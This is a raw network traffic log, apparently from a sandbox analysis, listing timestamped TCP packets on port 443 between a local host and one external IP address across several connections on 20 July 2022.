Jul 20, 2022 09:08:24.659410954 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.659446955 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.659491062 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.659503937 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.659531116 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.659555912 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.660471916 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.660609007 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.660847902 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.660891056 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.660945892 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.660963058 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.660990953 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.661015034 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.661423922 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.661514044 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.661662102 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.661684990 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.661758900 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.661777973 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.661791086 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.661827087 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.662151098 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.662179947 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.662189960 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.662256002 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.662272930 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.662375927 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.662398100 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.662404060 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.662424088 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.662508965 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.662535906 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.662544012 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.662594080 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.663429976 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.663463116 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.663480997 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.663499117 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.663832903 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.664136887 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.664202929 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.664222002 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.664248943 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.664261103 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.664338112 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.664340973 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.664349079 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.664357901 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.664385080 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.664417028 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.664472103 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.664486885 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.664530039 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.664621115 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.664654970 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.664693117 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.664702892 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.664742947 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.664772034 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.665097952 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.665132046 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.665180922 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.665198088 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.665235996 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.665263891 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.666100979 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.666204929 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.667010069 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.667037010 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.667124033 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.667140961 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.667165041 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.667165995 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.667191029 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.667248011 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.667741060 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.667776108 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.667829990 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.667848110 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.667877913 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.667903900 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.668705940 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.668728113 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.668833971 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.668848038 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.668879986 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.668884039 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.668914080 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.668921947 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.668973923 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.668982029 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.669023991 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.669045925 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.671618938 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.671703100 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.671749115 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.671770096 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.671789885 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.671811104 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.671832085 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.671839952 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.671864033 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.671896935 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.671900034 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.671972036 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.671983004 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.671996117 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.672033072 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.672058105 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.672218084 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.672251940 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.672302008 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.672321081 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.672360897 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.672372103 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.672435045 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.672491074 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.672496080 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.673119068 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.673140049 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.673243046 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.673268080 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.673325062 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.674071074 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.674103022 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.674194098 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.674204111 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.674237013 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.674252033 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.674259901 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.674264908 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.674325943 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.674381971 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.674391985 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.674443007 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.674537897 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.674631119 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.675575018 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.675906897 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.675939083 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.676332951 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.678287983 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.678299904 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.678673983 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.709475040 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.709503889 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.709578991 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.709618092 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.709623098 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.709645987 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.709697008 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.709732056 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.710232973 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.710333109 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.713424921 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.713546038 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.713891029 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.713901043 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.713990927 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.714005947 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.714138031 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.714370012 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.714401007 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.714447021 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.714453936 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.714468002 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.714523077 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.714562893 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.715051889 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.715081930 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.715150118 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.715162992 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.715188980 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.715212107 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.716666937 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.716696024 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.716756105 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.716798067 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.716814995 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.716867924 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.718130112 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.718164921 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.718240976 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.718256950 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.718282938 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.718316078 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.718381882 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.718413115 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.718471050 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.718487024 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.718512058 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.718535900 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.719470978 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.719522953 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.719567060 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.719588041 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.719594955 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.719611883 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.719636917 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.719703913 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.719715118 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.719746113 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.719748020 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.719760895 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.719763994 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.719790936 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.719814062 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.719829082 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.719870090 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.719870090 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.719907999 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.719928980 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.719949961 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.719963074 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.719971895 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.720010996 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.720014095 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.720089912 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.720098972 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.720110893 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.720158100 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.720360994 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.720469952 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.720590115 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.720617056 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.720714092 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.720745087 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.720758915 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.720772028 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.720792055 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.720838070 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.720846891 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.720859051 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.720916033 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.720951080 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.720973969 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.721045971 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.721070051 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.721082926 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.721126080 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.721143007 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.721182108 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.721224070 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.721667051 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.721719027 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.721813917 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.721829891 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.721875906 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.722793102 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.722817898 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.722875118 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.722891092 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.722899914 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.722954035 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.722956896 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.722980976 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.722992897 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.722997904 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.723026037 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.723045111 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.723059893 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.723067045 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.723117113 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.723155975 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.723581076 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.723674059 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.724028111 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.724056005 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.724119902 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.724128008 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.724173069 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.724715948 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.724740028 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.724802971 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.724817991 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.724827051 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.724874973 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.724879026 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.724889994 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.724925041 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.724926949 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.724951029 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.724956989 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.724961996 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.724993944 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.725003004 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.725012064 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.725068092 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.725116968 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.803277969 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.803302050 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.803327084 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.803497076 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.803508043 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.803554058 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.803592920 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.803612947 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.803637028 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.803663969 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.803680897 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.803694010 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.803709030 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.803728104 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.803740978 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.803742886 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.803755045 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.803777933 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.803783894 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.803803921 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.803836107 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.803843021 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.803853035 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.803888083 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.803898096 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.803946972 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.803956032 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.803971052 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.804020882 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.804028988 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.804121017 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.804128885 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.804192066 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.804224014 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.804229975 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.804244995 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.804300070 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.804342985 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.804368019 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.804409981 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.804418087 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.804440022 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.804442883 CEST	50722	443	192.168.2.6	80.67.82.211
